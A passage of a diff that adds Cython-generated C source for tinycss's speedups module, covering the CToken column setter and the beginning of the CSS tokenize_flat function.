(wrapper)", 0); + __pyx_r = __pyx_pf_7tinycss_8speedups_6CToken_6column_2__set__(((struct __pyx_obj_7tinycss_8speedups_CToken *)__pyx_v_self), ((PyObject *)__pyx_v_value)); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static int __pyx_pf_7tinycss_8speedups_6CToken_6column_2__set__(struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_self, PyObject *__pyx_v_value) { + int __pyx_r; + __Pyx_RefNannyDeclarations + Py_ssize_t __pyx_t_1; + __Pyx_RefNannySetupContext("__set__", 0); + __pyx_t_1 = __Pyx_PyIndex_AsSsize_t(__pyx_v_value); if (unlikely((__pyx_t_1 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 33, __pyx_L1_error) + __pyx_v_self->column = __pyx_t_1; + + /* function exit code */ + __pyx_r = 0; + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_AddTraceback("tinycss.speedups.CToken.column.__set__", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = -1; + __pyx_L0:; + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "tinycss/speedups.pyx":55 + * + * + * def tokenize_flat(css_source, int ignore_comments=1): # <<<<<<<<<<<<<< + * """ + * :param css_source: + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_7tinycss_8speedups_1tokenize_flat(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ +static char __pyx_doc_7tinycss_8speedups_tokenize_flat[] = "\n :param css_source:\n CSS as an unicode string\n :param ignore_comments:\n if true (the default) comments will not be included in the\n return value\n :return:\n An iterator of :class:`Token`\n\n "; +static PyMethodDef __pyx_mdef_7tinycss_8speedups_1tokenize_flat = {"tokenize_flat", (PyCFunction)__pyx_pw_7tinycss_8speedups_1tokenize_flat, METH_VARARGS|METH_KEYWORDS, __pyx_doc_7tinycss_8speedups_tokenize_flat}; +static PyObject *__pyx_pw_7tinycss_8speedups_1tokenize_flat(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { + PyObject *__pyx_v_css_source = 0; + int __pyx_v_ignore_comments; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("tokenize_flat (wrapper)", 0); + { + static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_css_source,&__pyx_n_s_ignore_comments,0}; + PyObject* values[2] = {0,0}; + if (unlikely(__pyx_kwds)) { + Py_ssize_t kw_args; + const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); + switch (pos_args) { + case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); + case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = PyDict_Size(__pyx_kwds); + switch (pos_args) { + case 0: + if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_css_source)) != 0)) kw_args--; + else goto __pyx_L5_argtuple_error; + case 1: + if (kw_args > 0) { + PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s_ignore_comments); + if (value) { values[1] = value; kw_args--; } + } + } + if (unlikely(kw_args > 0)) { + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "tokenize_flat") < 0)) __PYX_ERR(0, 55, __pyx_L3_error) + } + } else { + switch (PyTuple_GET_SIZE(__pyx_args)) { + case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); + case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); + break; + default: goto __pyx_L5_argtuple_error; + } + } + __pyx_v_css_source = values[0]; + if (values[1]) { + __pyx_v_ignore_comments = __Pyx_PyInt_As_int(values[1]); if (unlikely((__pyx_v_ignore_comments == (int)-1) && PyErr_Occurred())) __PYX_ERR(0, 55, __pyx_L3_error) + } else { + __pyx_v_ignore_comments = ((int)1); + } + } + goto __pyx_L4_argument_unpacking_done; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("tokenize_flat", 0, 1, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 55, __pyx_L3_error) + __pyx_L3_error:; + __Pyx_AddTraceback("tinycss.speedups.tokenize_flat", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_7tinycss_8speedups_tokenize_flat(__pyx_self, __pyx_v_css_source, __pyx_v_ignore_comments); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_7tinycss_8speedups_tokenize_flat(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_css_source, int __pyx_v_ignore_comments) { + PyObject *__pyx_v_tokens_dispatch = NULL; + PyObject *__pyx_v_compiled_token_indexes = NULL; + PyObject *__pyx_v_compiled_tokens = NULL; + PyObject *__pyx_v_unicode_unescape = NULL; + PyObject *__pyx_v_newline_unescape = NULL; + PyObject *__pyx_v_simple_unescape = NULL; + PyObject *__pyx_v_find_newlines = NULL; + Py_ssize_t __pyx_v_BAD_COMMENT; + Py_ssize_t __pyx_v_BAD_STRING; + Py_ssize_t __pyx_v_PERCENTAGE; + Py_ssize_t __pyx_v_DIMENSION; + Py_ssize_t __pyx_v_ATKEYWORD; + Py_ssize_t __pyx_v_FUNCTION; + Py_ssize_t __pyx_v_COMMENT; + Py_ssize_t __pyx_v_NUMBER; + Py_ssize_t __pyx_v_STRING; + Py_ssize_t __pyx_v_IDENT; + Py_ssize_t __pyx_v_HASH; + Py_ssize_t __pyx_v_URI; + Py_ssize_t __pyx_v_DELIM; + Py_ssize_t __pyx_v_pos; + Py_ssize_t __pyx_v_line; + Py_ssize_t __pyx_v_column; + Py_ssize_t __pyx_v_source_len; + CYTHON_UNUSED Py_ssize_t __pyx_v_n_tokens; + Py_ssize_t __pyx_v_length; + Py_ssize_t __pyx_v_next_pos; + Py_ssize_t __pyx_v_type_; + struct __pyx_obj_7tinycss_8speedups_CToken *__pyx_v_token = 0; + PyObject *__pyx_v_tokens = NULL; + PyObject *__pyx_v_char = NULL; + PyObject *__pyx_v_type_name = NULL; + PyObject *__pyx_v_css_value = NULL; + long __pyx_v_codepoint; + PyObject *__pyx_v_regexp = NULL; + PyObject *__pyx_v_match = NULL; + PyObject *__pyx_v_unit = NULL; + PyObject *__pyx_v_value = NULL; + PyObject *__pyx_v_newlines = NULL; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + Py_ssize_t __pyx_t_2; + int __pyx_t_3; + int __pyx_t_4; + long __pyx_t_5; + long __pyx_t_6; + long __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + PyObject *(*__pyx_t_9)(PyObject *); + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *(*__pyx_t_14)(PyObject *); + Py_ssize_t __pyx_t_15; + int __pyx_t_16; + int __pyx_t_17; + __Pyx_RefNannySetupContext("tokenize_flat", 0); + + /* "tinycss/speedups.pyx":67 + * """ + * # Make these local variable to avoid global lookups in the loop + * tokens_dispatch = TOKEN_DISPATCH # <<<<<<<<<<<<<< + * compiled_token_indexes = COMPILED_TOKEN_INDEXES + * compiled_tokens = COMPILED_TOKEN_REGEXPS + */ + __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_TOKEN_DISPATCH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_v_tokens_dispatch = __pyx_t_1; + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":68 + * # Make these local variable to avoid global lookups in the loop + * tokens_dispatch = TOKEN_DISPATCH + * compiled_token_indexes = COMPILED_TOKEN_INDEXES # <<<<<<<<<<<<<< + * compiled_tokens = COMPILED_TOKEN_REGEXPS + * unicode_unescape = UNICODE_UNESCAPE + */ + __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_COMPILED_TOKEN_INDEXES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_v_compiled_token_indexes = __pyx_t_1; + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":69 + * tokens_dispatch = TOKEN_DISPATCH + * compiled_token_indexes = COMPILED_TOKEN_INDEXES + * compiled_tokens = COMPILED_TOKEN_REGEXPS # <<<<<<<<<<<<<< + * unicode_unescape = UNICODE_UNESCAPE + * newline_unescape = NEWLINE_UNESCAPE + */ + __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_COMPILED_TOKEN_REGEXPS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_v_compiled_tokens = __pyx_t_1; + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":70 + * compiled_token_indexes = COMPILED_TOKEN_INDEXES + * compiled_tokens = COMPILED_TOKEN_REGEXPS + * unicode_unescape = UNICODE_UNESCAPE # <<<<<<<<<<<<<< + * newline_unescape = NEWLINE_UNESCAPE + * simple_unescape = SIMPLE_UNESCAPE + */ + __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_UNICODE_UNESCAPE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_v_unicode_unescape = __pyx_t_1; + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":71 + * compiled_tokens = COMPILED_TOKEN_REGEXPS + * unicode_unescape = UNICODE_UNESCAPE + * newline_unescape = NEWLINE_UNESCAPE # <<<<<<<<<<<<<< + * simple_unescape = SIMPLE_UNESCAPE + * find_newlines = FIND_NEWLINES + */ + __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_NEWLINE_UNESCAPE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_v_newline_unescape = __pyx_t_1; + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":72 + * unicode_unescape = UNICODE_UNESCAPE + * newline_unescape = NEWLINE_UNESCAPE + * simple_unescape = SIMPLE_UNESCAPE # <<<<<<<<<<<<<< + * find_newlines = FIND_NEWLINES + * + */ + __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_SIMPLE_UNESCAPE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_v_simple_unescape = __pyx_t_1; + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":73 + * newline_unescape = NEWLINE_UNESCAPE + * simple_unescape = SIMPLE_UNESCAPE + * find_newlines = FIND_NEWLINES # <<<<<<<<<<<<<< + * + * # Use the integer indexes instead of string markers + */ + __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_FIND_NEWLINES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_v_find_newlines = __pyx_t_1; + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":76 + * + * # Use the integer indexes instead of string markers + * cdef Py_ssize_t BAD_COMMENT = compiled_token_indexes['BAD_COMMENT'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] + * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_BAD_COMMENT); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_BAD_COMMENT = __pyx_t_2; + + /* "tinycss/speedups.pyx":77 + * # Use the integer indexes instead of string markers + * cdef Py_ssize_t BAD_COMMENT = compiled_token_indexes['BAD_COMMENT'] + * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] + * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_BAD_STRING); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_BAD_STRING = __pyx_t_2; + + /* "tinycss/speedups.pyx":78 + * cdef Py_ssize_t BAD_COMMENT = compiled_token_indexes['BAD_COMMENT'] + * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] + * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] + * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_PERCENTAGE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_PERCENTAGE = __pyx_t_2; + + /* "tinycss/speedups.pyx":79 + * cdef Py_ssize_t BAD_STRING = compiled_token_indexes['BAD_STRING'] + * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] + * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] + * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_DIMENSION); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_DIMENSION = __pyx_t_2; + + /* "tinycss/speedups.pyx":80 + * cdef Py_ssize_t PERCENTAGE = compiled_token_indexes['PERCENTAGE'] + * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] + * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] + * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_ATKEYWORD); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_ATKEYWORD = __pyx_t_2; + + /* "tinycss/speedups.pyx":81 + * cdef Py_ssize_t DIMENSION = compiled_token_indexes['DIMENSION'] + * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] + * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] + * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_FUNCTION); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_FUNCTION = __pyx_t_2; + + /* "tinycss/speedups.pyx":82 + * cdef Py_ssize_t ATKEYWORD = compiled_token_indexes['ATKEYWORD'] + * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] + * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] + * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_COMMENT); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_COMMENT = __pyx_t_2; + + /* "tinycss/speedups.pyx":83 + * cdef Py_ssize_t FUNCTION = compiled_token_indexes['FUNCTION'] + * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] + * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] + * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_NUMBER); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_NUMBER = __pyx_t_2; + + /* "tinycss/speedups.pyx":84 + * cdef Py_ssize_t COMMENT = compiled_token_indexes['COMMENT'] + * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] + * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] + * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_STRING); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_STRING = __pyx_t_2; + + /* "tinycss/speedups.pyx":85 + * cdef Py_ssize_t NUMBER = compiled_token_indexes['NUMBER'] + * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] + * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] + * cdef Py_ssize_t URI = compiled_token_indexes['URI'] + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_IDENT); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_IDENT = __pyx_t_2; + + /* "tinycss/speedups.pyx":86 + * cdef Py_ssize_t STRING = compiled_token_indexes['STRING'] + * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] + * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t URI = compiled_token_indexes['URI'] + * cdef Py_ssize_t DELIM = -1 + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_HASH); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_HASH = __pyx_t_2; + + /* "tinycss/speedups.pyx":87 + * cdef Py_ssize_t IDENT = compiled_token_indexes['IDENT'] + * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] + * cdef Py_ssize_t URI = compiled_token_indexes['URI'] # <<<<<<<<<<<<<< + * cdef Py_ssize_t DELIM = -1 + * + */ + __pyx_t_1 = PyObject_GetItem(__pyx_v_compiled_token_indexes, __pyx_n_u_URI); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyIndex_AsSsize_t(__pyx_t_1); if (unlikely((__pyx_t_2 == (Py_ssize_t)-1) && PyErr_Occurred())) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_v_URI = __pyx_t_2; + + /* "tinycss/speedups.pyx":88 + * cdef Py_ssize_t HASH = compiled_token_indexes['HASH'] + * cdef Py_ssize_t URI = compiled_token_indexes['URI'] + * cdef Py_ssize_t DELIM = -1 # <<<<<<<<<<<<<< + * + * cdef Py_ssize_t pos = 0 + */ + __pyx_v_DELIM = -1L; + + /* "tinycss/speedups.pyx":90 + * cdef Py_ssize_t DELIM = -1 + * + * cdef Py_ssize_t pos = 0 # <<<<<<<<<<<<<< + * cdef Py_ssize_t line = 1 + * cdef Py_ssize_t column = 1 + */ + __pyx_v_pos = 0; + + /* "tinycss/speedups.pyx":91 + * + * cdef Py_ssize_t pos = 0 + * cdef Py_ssize_t line = 1 # <<<<<<<<<<<<<< + * cdef Py_ssize_t column = 1 + * cdef Py_ssize_t source_len = len(css_source) + */ + __pyx_v_line = 1; + + /* "tinycss/speedups.pyx":92 + * cdef Py_ssize_t pos = 0 + * cdef Py_ssize_t line = 1 + * cdef Py_ssize_t column = 1 # <<<<<<<<<<<<<< + * cdef Py_ssize_t source_len = len(css_source) + * cdef Py_ssize_t n_tokens = len(compiled_tokens) + */ + __pyx_v_column = 1; + + /* "tinycss/speedups.pyx":93 + * cdef Py_ssize_t line = 1 + * cdef Py_ssize_t column = 1 + * cdef Py_ssize_t source_len = len(css_source) # <<<<<<<<<<<<<< + * cdef Py_ssize_t n_tokens = len(compiled_tokens) + * cdef Py_ssize_t length, next_pos, type_ + */ + __pyx_t_2 = PyObject_Length(__pyx_v_css_source); if (unlikely(__pyx_t_2 == -1)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_v_source_len = __pyx_t_2; + + /* "tinycss/speedups.pyx":94 + * cdef Py_ssize_t column = 1 + * cdef Py_ssize_t source_len = len(css_source) + * cdef Py_ssize_t n_tokens = len(compiled_tokens) # <<<<<<<<<<<<<< + * cdef Py_ssize_t length, next_pos, type_ + * cdef CToken token + */ + __pyx_t_2 = PyObject_Length(__pyx_v_compiled_tokens); if (unlikely(__pyx_t_2 == -1)) __PYX_ERR(0, 94, __pyx_L1_error) + __pyx_v_n_tokens = __pyx_t_2; + + /* "tinycss/speedups.pyx":98 + * cdef CToken token + * + * tokens = [] # <<<<<<<<<<<<<< + * while pos < source_len: + * char = css_source[pos] + */ + __pyx_t_1 = PyList_New(0); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_v_tokens = ((PyObject*)__pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":99 + * + * tokens = [] + * while pos < source_len: # <<<<<<<<<<<<<< + * char = css_source[pos] + * if char in ':;{}()[]': + */ + while (1) { + __pyx_t_3 = ((__pyx_v_pos < __pyx_v_source_len) != 0); + if (!__pyx_t_3) break; + + /* "tinycss/speedups.pyx":100 + * tokens = [] + * while pos < source_len: + * char = css_source[pos] # <<<<<<<<<<<<<< + * if char in ':;{}()[]': + * type_ = -1 # not parsed further anyway + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_v_css_source, __pyx_v_pos, Py_ssize_t, 1, PyInt_FromSsize_t, 0, 1, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_XDECREF_SET(__pyx_v_char, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":101 + * while pos < source_len: + * char = css_source[pos] + * if char in ':;{}()[]': # <<<<<<<<<<<<<< + * type_ = -1 # not parsed further anyway + * type_name = char + */ + __pyx_t_3 = (__Pyx_PyUnicode_ContainsTF(__pyx_v_char, __pyx_kp_u__2, Py_EQ)); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 101, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_3 != 0); + if (__pyx_t_4) { + + /* "tinycss/speedups.pyx":102 + * char = css_source[pos] + * if char in ':;{}()[]': + * type_ = -1 # not parsed further anyway # <<<<<<<<<<<<<< + * type_name = char + * css_value = char + */ + __pyx_v_type_ = -1L; + + /* "tinycss/speedups.pyx":103 + * if char in ':;{}()[]': + * type_ = -1 # not parsed further anyway + * type_name = char # <<<<<<<<<<<<<< + * css_value = char + * else: + */ + __Pyx_INCREF(__pyx_v_char); + __Pyx_XDECREF_SET(__pyx_v_type_name, __pyx_v_char); + + /* "tinycss/speedups.pyx":104 + * type_ = -1 # not parsed further anyway + * type_name = char + * css_value = char # <<<<<<<<<<<<<< + * else: + * codepoint = min(ord(char), 160) + */ + __Pyx_INCREF(__pyx_v_char); + __Pyx_XDECREF_SET(__pyx_v_css_value, __pyx_v_char); + + /* "tinycss/speedups.pyx":101 + * while pos < source_len: + * char = css_source[pos] + * if char in ':;{}()[]': # <<<<<<<<<<<<<< + * type_ = -1 # not parsed further anyway + * type_name = char + */ + goto __pyx_L5; + } + + /* "tinycss/speedups.pyx":106 + * css_value = char + * else: + * codepoint = min(ord(char), 160) # <<<<<<<<<<<<<< + * for type_, type_name, regexp in tokens_dispatch[codepoint]: + * match = regexp(css_source, pos) + */ + /*else*/ { + __pyx_t_5 = 0xA0; + __pyx_t_6 = __Pyx_PyObject_Ord(__pyx_v_char); if (unlikely(__pyx_t_6 == (long)(Py_UCS4)-1)) __PYX_ERR(0, 106, __pyx_L1_error) + if (((__pyx_t_5 < __pyx_t_6) != 0)) { + __pyx_t_7 = __pyx_t_5; + } else { + __pyx_t_7 = __pyx_t_6; + } + __pyx_v_codepoint = __pyx_t_7; + + /* "tinycss/speedups.pyx":107 + * else: + * codepoint = min(ord(char), 160) + * for type_, type_name, regexp in tokens_dispatch[codepoint]: # <<<<<<<<<<<<<< + * match = regexp(css_source, pos) + * if match: + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_v_tokens_dispatch, __pyx_v_codepoint, long, 1, __Pyx_PyInt_From_long, 0, 1, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (likely(PyList_CheckExact(__pyx_t_1)) || PyTuple_CheckExact(__pyx_t_1)) { + __pyx_t_8 = __pyx_t_1; __Pyx_INCREF(__pyx_t_8); __pyx_t_2 = 0; + __pyx_t_9 = NULL; + } else { + __pyx_t_2 = -1; __pyx_t_8 = PyObject_GetIter(__pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_9 = Py_TYPE(__pyx_t_8)->tp_iternext; if (unlikely(!__pyx_t_9)) 